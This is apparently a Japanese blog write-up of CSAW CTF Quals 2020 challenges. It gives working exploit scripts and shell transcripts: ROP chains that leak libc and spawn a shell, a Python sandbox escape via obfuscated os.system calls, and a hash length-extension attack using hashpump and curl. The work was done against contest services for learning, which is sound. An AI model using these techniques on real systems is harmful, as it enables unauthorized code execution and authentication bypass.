CSAW CTF Quals 2020 write-up

https://ctf.csaw.io/

9問、1005点、145位。

![ctf.csaw.io_challenges(capture (1280)).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/5e28f368-bb45-2763-ddfd-cc879099d6df.png)

頑張ったらpwn全完できないかなーと思ったけど、全然無理だった。

<blockquote class="twitter-tweet"><p lang="ja" dir="ltr">この本がちゃんと役に立つのか、CSAW CTFで確かめるか。目指せpwn全完。<br>Malleus CTF Pwn Second Edition：superflip<a href="https://t.co/PsEyvySWX0">https://t.co/PsEyvySWX0</a><br>CSAW CTF Quals 2020<a href="https://t.co/1DcLBeeItm">https://t.co/1DcLBeeItm</a></p>&mdash; kusanoさん@がんばらない (@kusano_k) <a href="https://twitter.com/kusano_k/status/1304658555866292224?ref_src=twsrc%5Etfw">September 12, 2020</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

<blockquote class="twitter-tweet" data-conversation="none"><p lang="ja" dir="ltr">CSAW CTF Quals 2020 1005点 145位<br>pwn全完無理でした😇 <a href="https://t.co/5iRVnCvIBb">pic.twitter.com/5iRVnCvIBb</a></p>&mdash; kusanoさん@がんばらない (@kusano_k) <a href="https://twitter.com/kusano_k/status/1305362234013483010?ref_src=twsrc%5Etfw">September 14, 2020</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

# pwn

## roppity

特にひねりの無いスタックバッファオーバーフロー。`puts(puts@got); main()`を実行し、libcのアドレスを得て、`execv("/bin/sh", NULL)`。

```attack.py
from pwn import *

s = remote("pwn.chal.csaw.io", 5016)
elf = ELF("rop")
context.binary = elf

s.sendlineafter("Hello\n",
  b"a"*0x28 +
  pack(0x400683) +
  pack(elf.got.puts) +
  pack(elf.plt.puts) +
  pack(elf.symbols.main))

puts = unpack(s.recv(6)+b"\0\0")
libc = ELF("libc-2.27.so")
libc.address = puts - libc.symbols.puts

rop = ROP(libc)
rop.execv(next(libc.search(b"/bin/sh")), 0)
s.sendlineafter("Hello\n",
  b"a"*0x28 +
  rop.chain())

s.interactive()
```

```shell-session
$ python3 attack.py
[+] Opening connection to pwn.chal.csaw.io on port 5016: Done
[*] '/mnt/d/documents/ctf/csaw2020/roppity/rop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/mnt/d/documents/ctf/csaw2020/roppity/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded 196 cached gadgets for 'libc-2.27.so'
[*] Switching to interactive mode
$ ls -al
total 36
drwxr-x--- 1 root rop  4096 Sep 10 23:55 .
drwxr-xr-x 1 root root 4096 Sep 10 23:55 ..
-rw-r--r-- 1 root rop   220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 root rop  3771 Apr  4  2018 .bashrc
-rw-r--r-- 1 root rop   807 Apr  4  2018 .profile
-r--r----- 1 root rop    30 Sep 10 23:33 flag.txt
-r-xr-xr-x 1 root rop  8400 Sep 10 23:33 rop
$ cat flag.txt
flag{r0p_4ft3r_r0p_4ft3R_r0p}
```

## slithery

「Pythonをコードを実行するけど、特定の文字列は弾くから回避してね」という問題。

```sandbox.py
#!/usr/bin/env python3
from base64 import b64decode
import blacklist  # you don't get to see this :p

"""
Don't worry, if you break out of this one, we have another one underneath so that you won't
wreak any havoc!
"""

def main():
    print("EduPy 3.8.2")
    while True:
        try:
            command = input(">>> ")
            if any([x in command for x in blacklist.BLACKLIST]):
                raise Exception("not allowed!!")

            final_cmd = """
uOaoBPLLRN = open("sandbox.py", "r")
uDwjTIgNRU = int(((54 * 8) / 16) * (1/3) - 8)
ORppRjAVZL = uOaoBPLLRN.readlines()[uDwjTIgNRU].strip().split(" ")
AAnBLJqtRv = ORppRjAVZL[uDwjTIgNRU]
bAfGdqzzpg = ORppRjAVZL[-uDwjTIgNRU]
uOaoBPLLRN.close()
HrjYMvtxwA = getattr(__import__(AAnBLJqtRv), bAfGdqzzpg)
RMbPOQHCzt = __builtins__.__dict__[HrjYMvtxwA(b'X19pbXBvcnRfXw==').decode('utf-8')](HrjYMvtxwA(b'bnVtcHk=').decode('utf-8'))\n""" + command
            exec(final_cmd)

        except (KeyboardInterrupt, EOFError):
            return 0
        except Exception as e:
            print(f"Exception: {e}")

if __name__ == "__main__":
    exit(main())
```

難読化されている部分が何をやっているのかを解読すると、

```py
uOaoBPLLRN = open("sandbox.py", "r")
uDwjTIgNRU = 1
ORppRjAVZL = ["from", "base64", "import", "b64decode"]
AAnBLJqtRv = "base64"
bAfGdqzzpg = "b64decode"
uOaoBPLLRN.close()
HrjYMvtxwA = getattr(__import__("base64"), "b64decode")
RMbPOQHCzt = __builtins__.__dict__[b64decode(b'X19pbXBvcnRfXw==').decode('utf-8')](b64decode(b'bnVtcHk=').decode('utf-8'))
         # = __builtins__.__dict__["__import__"]("numpy")
```

回避方法を教えてくれる＆base64の復号を提供してくれているのでしょう。

同じように`os.system`を実行しようとしたら、`__builtins__`が弾かれていた。でも、`globals()["__builtins__"]`でいける。

```shell-session
$ nc pwn.chal.csaw.io 5011
EduPy 3.8.2
>>> getattr(globals()[HrjYMvtxwA(b'X19idWlsdGluc19f').decode('utf-8')].__dict__[HrjYMvtxwA(b'X19pbXBvcnRfXw==').decode('utf-8')](HrjYMvtxwA(b'b3M=').decode('utf-8')), HrjYMvtxwA(b'c3lzdGVt').decode('utf-8'))("ls -al")
total 40
drwxr-xr-x 1  750 slithery 4096 Sep 11 22:33 .
drwxr-xr-x 1 root root     4096 Sep 11 22:07 ..
-rw-r--r-- 1 root slithery  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 root slithery 3771 Feb 25  2020 .bashrc
-rw-r--r-- 1 root slithery  807 Feb 25  2020 .profile
-rw-r--r-- 1 root slithery  823 Sep 10 23:33 blacklist.py
-rw-r--r-- 1  440 root       23 Sep 10 23:33 flag.txt
-rwxr-xr-x 1 root slithery  922 Sep 11 01:48 runner.py
-rw-r--r-- 1 root slithery 1113 Sep 11 01:48 sandbox.py
-rw-r--r-- 1 root slithery  440 Sep 11 01:48 solver.py
>>> getattr(globals()[HrjYMvtxwA(b'X19idWlsdGluc19f').decode('utf-8')].__dict__[HrjYMvtxwA(b'X19pbXBvcnRfXw==').decode('utf-8')](HrjYMvtxwA(b'b3M=').decode('utf-8')), HrjYMvtxwA(b'c3lzdGVt').decode('utf-8'))("cat flag.txt")
flag{y4_sl1th3r3d_0ut}
```

solver.pyって何かと思ったら、模範解答だった。

```solver.py
>>> getattr(globals()[HrjYMvtxwA(b'X19idWlsdGluc19f').decode('utf-8')].__dict__[HrjYMvtxwA(b'X19pbXBvcnRfXw==').decode('utf-8')](HrjYMvtxwA(b'b3M=').decode('utf-8')), HrjYMvtxwA(b'c3lzdGVt').decode('utf-8'))("cat solver.py")
#!/usr/bin/env python3
from pwn import *

def main():
    p = remote("localhost", "8000")
    numpy_escape = "RMbPOQHCzt.vdot(RMbPOQHCzt.intc(), RMbPOQHCzt.ndarray(1, {}))"
    py_escape = "[].__class__.__base__.__subclasses__()[134].__init__.__globals__['sys'].modules['os'].system('cat flag.txt')"

    p.sendlineafter(">>> ", numpy_escape)
    p.sendlineafter(">> ", py_escape)
    p.interactive()

if __name__ == "__main__":
    main()
```

解き方色々。え、`system`通るの？　と思いながら、blacklist.pyを見てみると、`BLACKLIST`と`BLACKLIST2`があるな。で、これは`BLACKLIST2`の回避用で、runner.pyがこの問題と似たような問題で`BLACKLIST2`を使っていた。謎。

## grid

C++だからめっちゃ読みづらい……。まあ、やっていることは単純で、`c x y`の組を繰り返し読む。文字が`d`だったら、`char buf[10][10]`を用意して、`buf[y][x]=c`とし、出力。`x`と`y`の範囲チェックは無し。`buf`は初期化していなくて、libstdcのアドレスが残っている。ここから、libstdcのアドレスが分かり、ASLRでは共有ライブラリ間のオフセットは変化しないので、libcのアドレスも分かる。手元のUbuntu 18.04が問題のlibcやlibcstdcとバージョンがピッタリ一致していたから、そこで動かしてオフセットを調べた。WSLはダメ。問題のプログラムはGOTにlibcの関数が無いので、直接libcのアドレスを調べることができない。

```attack.py
from pwn import *

context.binary = "grid"

s = remote("pwn.chal.csaw.io", 5013)
#s = remote("localhost", 7777)

s.sendlineafter("shape> ", "d")
s.recvline() # Displaying
r = [s.recvline() for _ in range(10)]
x = unpack(r[1][6:-1]+r[2][:4])
libc_base = x-(0x7ffff7dd16e0-0x7ffff765b000)
#libc_base = x-(0x7fffff3f56e0-0x7ffffec70000)

print("libc_base", hex(libc_base))

libc = ELF("libc-2.27.so")
#libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
libc.address = libc_base
rop = ROP(libc)
rop.execv(next(libc.search(b"/bin/sh")), 0)
chain = rop.chain()

for i in range(len(rop.chain())):
  print("%d/%d"%(i, len(rop.chain())))
  s.sendlineafter("shape> ", chain[i:i+1])
  n = 0x78+i
  s.sendlineafter("loc> ", "%d %d"%(0, n))
  s.recvline()
s.sendlineafter("shape> ", "d")

s.interactive()
```

```shell-session
$ python3 attack.py
[*] '/mnt/d/documents/ctf/csaw2020/grid/grid'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to pwn.chal.csaw.io on port 5013: Done
libc_base 0x7fd3bfdb0000
[*] '/mnt/d/documents/ctf/csaw2020/grid/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded 196 cached gadgets for 'libc-2.27.so'
0/40
1/40
2/40
3/40
 :
36/40
37/40
38/40
39/40
[*] Switching to interactive mode
Displaying
+fR\xc0\xd3\x7f\x00\xc0!
`\x00\x00\x00fR\xc0
\xd3\x00\x9a\xc5)\xc0\xd3\x7f
\x00\x80%\x1d\xff\x7f\x00
\xc0!`\x00\x00\x00f
R\xc0\xd3\x7f\x00\xcd\xe7(\xc0
\xd3\x00\xc0!`\x00\x00\x00\xde\xde)\xc0\xd3\x7f\x00
\x00\x00\x00\x00$
\x1d\xff\x7f\x00($\x1d
$ ls -al
total 36
drwxr-xr-x 1 root grid  4096 Sep 10 23:55 .
drwxr-xr-x 1 root root  4096 Sep 10 23:55 ..
-rw-r--r-- 1 root grid   220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 root grid  3771 Apr  4  2018 .bashrc
-rw-r--r-- 1 root grid   807 Apr  4  2018 .profile
-r--r----- 1 root grid    30 Sep 10 23:33 flag.txt
-r-xr-xr-x 1 root grid 10336 Sep 10 23:33 grid
$ cat flag.txt
flag{but_4ll_l4ngu4g3s_R_C:(}
```

`flag{but_4ll_l4ngu4g3s_R_C:(}`

## The Bards' Fail

英語が読めねぇ……。

```shell-session
$ ./bard
*** Welcome to the Bards' Fail! ***

Ten bards meet in a tavern.
They form a band.
You wonder if those weapons are real, or just props...

Bard #1, choose thy alignment (g = good, e = evil):
g
Choose thy weapon:
1) +5 Holy avenger longsword
2) +4 Crossbow of deadly accuracy
1
Enter thy name:
hoge

Bard #2, choose thy alignment (g = good, e = evil):
e
Choose thy weapon:
1) Unholy cutlass of life draining
2) Stiletto of extreme disappointment
1
Enter thy name:
fuga
```

問題文曰く、読まなくて良いらしい。

> Pwn your way to glory! You do not need fluency in olde English to solve it, it is just for fun.

good or evilを10人分読んでスタック上のバッファに格納し、取り出して何かする。goodの場合は0x30バイト、evilの場合は0x38バイト使う。でもバッファは0x30*10=0x1e0バイトしか確保されていない。

またスタックバッファオーバーフローなのだけど、Stack-Smashing Protectionが有効。このときのスタックは、

|オフセット|内容|
|---|---|
|rbp-8|カナリア（書き換えてはいけない）|
|rbp|古いrbpの値（書き換えてOK）|
|rbp+8|リターンアドレス（ここから先を狙った値に書き換える）|

一方、goodとかevilとかの構造体は、こちらから入力する文字列以外にも、プログラムが選択した武器とか謎の値とかを書き込んでいる。goodの場合、0x30バイトのうち、0x8バイト目からの0x20バイトが名前。短い名前を入力すれば後ろのほうは値がそのまま残る。evilの場合、0x38バイトのうち、0x16バイト目からの0x20バイトが名前。さらにパディングの0x36バイトからの2バイトは手つかず。

ということで、evilやgoodの人数を上手いこと調整して、カナリアの値をそのまま残せば良い。evilを7人、goodを1人確保して、その直後にevilを確保し短い名前を入力すると、名前の部分がカナリアにあたってそのまま残される。その後goodを確保すると、プログラムが書き込むのは古いrbpの値の部分になって、名前がリターンアドレスの部分になる。

```attack.py
from pwn import *

s = remote("pwn.chal.csaw.io", 5019)

elf = ELF("bard")
context.binary = elf

def send(rop):
  for t in "eeeeeeege":
    s.sendlineafter("(g = good, e = evil):\n", t)
    s.sendline("1")
    s.sendafter("name:\n", "a")

  s.sendlineafter("(g = good, e = evil):\n", "g")
  s.sendline("1")
  s.sendafter("name:\n", rop)

  for i in range(10):
    s.sendlineafter("(r)un\n", "r")

send(
  pack(0x401143) + # pop rdi
  pack(elf.got.puts) +
  pack(elf.plt.puts) +
  pack(0x400f7c)) # main

s.recvuntil("bravely runs away.\n")
puts = unpack(s.recvline()[:-1]+b"\0\0")
libc = ELF("libc-2.27.so")
libc.address = puts - libc.symbols.puts

send(
  pack(0x401144) + # ret
  pack(0x401143) + # pop rdi
  pack(next(libc.search(b"/bin/sh"))) +
  pack(libc.symbols.system))

s.interactive()
```

ポインタ4個分しか書き込めなくて、`execv("/bin/sh", NULL)`には足りない。`ret`を1回挟んでスタックのアラインを調節してからの`system("/bin/sh");`でちょうど4個。

```shell-session
$ python3 attack.py
[+] Opening connection to pwn.chal.csaw.io on port 5019: Done
[*] "/mnt/d/documents/ctf/csaw2020/The Bards' Fail/bard"
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] "/mnt/d/documents/ctf/csaw2020/The Bards' Fail/libc-2.27.so"
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Switching to interactive mode
$ ls -al
total 36
drwxr-x--- 1 root bard  4096 Sep 12 19:41 .
drwxr-xr-x 1 root root  4096 Sep 12 19:41 ..
-rw-r--r-- 1 root bard   220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 root bard  3771 Apr  4  2018 .bashrc
-rw-r--r-- 1 root bard   807 Apr  4  2018 .profile
-r-xr-xr-x 1 root bard 10336 Sep 12 19:40 bard
-r--r----- 1 root bard    38 Sep 12 14:08 flag.txt
$ cat flag.txt
flag{why_4r3_th3y_4ll_such_c0w4rds??}
```

`flag{why_4r3_th3y_4ll_such_c0w4rds??}`

## pwnvoltex

解けなかった。

Sound VoltexのOSS実装の[Unnamed SDVX clone](https://github.com/Drewol/unnamed-sdvx-clone)というものがあるらしい。で、作問者が[ゲームサーバー](https://github.com/itszn/usc-multiplayer-server)を提供している。対戦相手のbotが持っている曲の情報の中にフラグがあるとのことだけど、プロトコルを見る感じ曲情報はお互いのローカルにあるという前提のようで、曲のハッシュ値しかやりとりしていない。どうしろと……。

<blockquote class="twitter-tweet"><p lang="ja" dir="ltr">CSAW CTF簡易writeup<br>baby_mult, ezberry: エスパー<br>not_malware: バイナリ読むだけ<br>blox1: テトリスでお絵かき<br>roppity, bard, grid: ROP<br>slithery: numpy.loadtxt(&#39;flag.txt&#39;)<br>pwnvoltex: 曲名でSQLi<br>feather: hardlinkでtype confusion<br>pwn以外💩だったからwriteup書くか迷うな</p>&mdash; pwnyaa (@pwnyaa) <a href="https://twitter.com/pwnyaa/status/1305401610751754240?ref_src=twsrc%5Etfw">September 14, 2020</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

こんなん分からん。直近のコミットにそれらしいものがないけど、この脆弱性は今も残っているのかな。

## blox2

解けなかった。

問題概要はblox1を参照。

「pwnだしシェルを取れば良いんでしょ。デバッガが使えるのだから、シェルコードを書き込んで実行させたら何とかならないかな」で試してみたら、シェルが動いた。でも、なぜか1文字ごとに改行が送られて、command not foundになってしまう。lとsを連打したら、たまたまlsになって、flagというファイルがあるのが見えた。

じゃあ、`/bin/cat flag`を実行するシェルコードにしてみるか → 「デバッガを検知しました。ライブモードで実行してね」。ですよね。

```c
// magic values for the hardware logging mechanism
// hacking is grounds for voiding this machine's warranty
#define LOG_CHEATING 0xbadb01
#define LOG_HACKING 0x41414141
void hw_log(int reason) {
    syscall(1337, reason);
}
```

ソースコードを見るに、`syscall(1337, 0x41414141)`を実行すれば良い？　メモリは全て書き込みも実行もできるので、脆弱性さえあれば何とでもなりそうだけど、脆弱性が見つからない。キー入力は操作と、ハイスコア時の名前入力だけで、名前入力のところもしっかりしている。

```c

    writestr("  NEW HIGH SCORE!!!\n");
    char* name = malloc(4);
    writestr("Enter your name, press enter to confirm\n");
    writestr("___");

    int nameidx = 0;
    char c;
    while ((c = getchar()) != '\n') {
        if (c == '\b' || c == '\x7f') { // backspace characters
            if (nameidx) {
                name[--nameidx] = 0;
                redraw_name(name);
            }
        }
        else {
            if (c >= 'a' && c <= 'z')
                c -= 0x20;
            if (c >= 'A' && c <= 'Z' && nameidx < 3) {
                name[nameidx++] = c;
                redraw_name(name);
            }
        }
    }
```

分からん。

## feather

解けなかった。

独自のファイルシステムを実装していて、ディスクイメージをbase64エンコードして投げると、パースしてファイルツリーを表示するプログラム。

これ、良い問題だと思う。実際のプログラムで標準入出力でやりとりすることなんてそんなに無いわけで、実際に攻撃するにはこういう状況で攻撃できなければいけないのだろう。

でも、ソースコードも付いているけど、分量が多すぎて諦め。

# web

## widthless

widthlessという問題があった……と思う……のだが……。問題一覧に無いし、連絡用Discordで運営も何も言っていない。え、なんだこれ。怖い。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/3120fd58-c7e9-b44b-666f-6ca8b764742a.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/0f81f433-5d28-63fb-6580-a634ab324c37.png)

問題で指定されたサイトに行くと、ソースコードにU+200bからU+200fの5種類のゼロ幅スペースが含まれている。0x200bを引いて7桁ずつに区切って5進数と思って変換。Base64で復号すると`alm0st_2_3z`になる。これはフラグではなく、これをサイトのテキストボックスに入力すると次のURLが出てくる。

同じ事をもう1回やるとフラグのあるURLが出てくる。

`flag{gu3ss_u_f0und_m3}`

# rev

## blox1

指定された外部サービス（このサービス自体の脆弱性はスコープ外とのこと）を開くとこんな感じ。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/6b2ca47e-976a-9c5c-e4b7-9fc95862d7ff.png)

GDB PEDAに慣れすぎて素のGDBはつらいものの、必要なものが一通り揃っていてブラウザだけで動くのは、初心者に良さそう。今回のCTFの問題以外の問題もあるのだろうか……とトップページを見てみたら、「Purchase」のボタンがあるし、デモもアカウント登録が必要だった。[購入ページ](https://wargames.ret2.systems/pricing)を見てみると会社のお金で買う感じのお値段だ。お遊びで10万円/3か月はちょっと手が出ませんね……。

https://wargames.ret2.systems/

この問題自体はテトリス。`check_cheat_codes`という関数があって、これが通れば、ブロックを好きなブロックに変えられるようになる。`check_cheat_codes`の実装はソースコードにはなく逆アセンブル結果だけ。チートをすれば良いのでしょう。

GDBで適当にチェックを潰すと、「デバッグモードではなく（GDBの使えない）ライブモードでやれ」と言われる。はい。

逆アセンブル結果を読むと、下5行のブロックの状態から、算出した配列がある配列になっていれば良い。ブロックは60個もあるけど、4個に分けて独立して計算しているので、それぞれは15個。2^15を全探索する。

```solve.py
data_403700 = [0x03, 0x02, 0x03, 0x02, 0x02, 0x00, 0x01, 0x03, 0x01, 0x00, 0x00, 0x02, 0x02, 0x02, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00]
data_403718 = [0x01, 0x02, 0x03, 0x01, 0x07, 0x04, 0x01, 0x01, 0x01, 0x03, 0x07, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
data_403730 = [0x02, 0x02, 0x02, 0x02, 0x02, 0x03, 0x01, 0x02, 0x01, 0x03, 0x03, 0x01, 0x01, 0x01, 0x01, 0x03, 0x01, 0x03, 0x01, 0x03, 0x00, 0x00, 0x00, 0x00]
data_403748 = [0x05, 0x02, 0x03, 0x05, 0x03, 0x02, 0x01, 0x05, 0x01, 0x04, 0x03, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]

board = [[False]*12 for _ in range(5)]

for i in range(4):
  for b in range(2**(3*5)):
    for y in range(5):
      for x in range(3):
        board[y][i*3+x] = (b&1)!=0
        b >>= 1
    ok = True
    for y in range(5):
      xor = 0
      c = 0
      for x in range(3):
        if board[y][i*3+x]:
          xor ^= x+1
          c += 1
      if xor!=data_403700[i*5+y] or c!=data_403730[i*5+y]:
        ok = False
    for x in range(3):
      xor = 0
      c = 0
      for y in range(5):
        if board[y][i*3+x]:
          xor ^= y+1
          c += 1
      if xor!=data_403718[i*3+x] or c!=data_403748[i*3+x]:
        ok = False
    if ok:
      break

for b in board:
  print("".join(".#"[int(x)] for x in b))
```

```
>py -3 solve.py
##.#########
#.##...#...#
##.##..#.###
#.##...#.#..
#.####.#.###
```

あとはテトリスを頑張る。乱数は固定なので、落ちてくるブロックも固定。最初の4個を左端に落とし、残りをそのまま下に落としてゲームオーバーになり、その次の回の配牌が良い感じ。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/384eddef-3350-1712-22e7-476aa53a1a01.png)

左の画面はPythonから実行してダメだったやつ。キーロガー機能も付いているので、デバッグモードで止めたりしながら成功するまでやって、記録したキーストロークをPythonスクリプトから流し込めば良いと思ったけど、このキーロガーは入力したキーを保存するだけで、どのフレームでキーを入力したかは覚えてくれない。ハードドロップせずに落としたとか、他のブロックを回避するためにある程度下に落としてから左右に移動したとかでおかしくなる。

`flag{c0ngr4ts_0n_y0ur_S3cr3t_Gr4de_GM}`

# crypto

## Perfect Secrecy

![image1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/17c114e0-a5be-6d3b-2dac-db9a052d62d8.png) ![image2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/e0984999-485f-e8e8-49d7-9f38e3e0eab8.png)

視覚暗号。重ねると文字が浮かび上がる。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/80734cb8-e20f-ed63-dd4c-dd4705b99892.png)

右下がフラグっぽいけど読めない……。「差の絶対値」で重ねれば良いのか。

![image_diff.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/1544f1be-29dc-a54b-ebae-5c70ad343ee6.png)

`flag{0n3_t1m3_P@d!}`

## authy

Length Extension Attack。Base64とURLエンコードでバグったので、ローカルで動かしてデバッグした。

```solve.py
import subprocess

host = "crypto.chal.csaw.io:5003"
data = "YWRtaW49RmFsc2UmYWNjZXNzX3NlbnNpdGl2ZT1GYWxzZSZhdXRob3I9aG9nZSZub3RlPWZ1Z2EmZW50cnludW09Nzgz"
hash = "a600777ddf5a1e0680ef6d3c285126fbcaea2c6e"

#host = "localhost:5000"
#data = "YWRtaW49RmFsc2UmYWNjZXNzX3NlbnNpdGl2ZT1GYWxzZSZhdXRob3I9aG9nZSZub3RlPXBpeW8mZW50cnludW09Nzgz"
#hash = "5106a45f5fef3607cc0e58a1171801b9fbffa878"

for i in range(1, 64):
  x = subprocess.check_output([
    "HashPump/hashpump",
    "-s", hash,
    "-d", data.decode("base64"),
    "-a", "&admin=True&access_sensitive=True&entrynum=7",
    "-k", str(i)])

  x = x.split("\n")
  hash2 = x[0]
  data2 = x[1]
  data2 = data2.encode("base64")
  data2 = data2.replace("\n", "").replace("+", "%2B")
  
  r = subprocess.check_output([
    "curl",
    "-sS",
    "http://"+host+"/view",
    "-d", "id=%s&integrity=%s"%(data2, hash2)])
  print i
  print r
```

```shell-session
$ python2 solve.py
1
>:(
>:(
>:(

2
>:(
>:(
>:(
 :
12
>:(
>:(
>:(

13

Author: admin
Note: You disobeyed our rules, but here's the note: flag{h4ck_th3_h4sh}


14
>:(
>:(
```

`flag{h4ck_th3_h4sh}`

# sanity

## sanity

Discord。

`flag{gu3ss_u_f0und_m3}`